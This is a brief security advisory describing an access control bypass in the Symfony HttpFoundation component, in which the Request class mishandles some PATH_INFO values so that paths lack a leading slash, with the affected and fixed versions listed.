Description

Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.
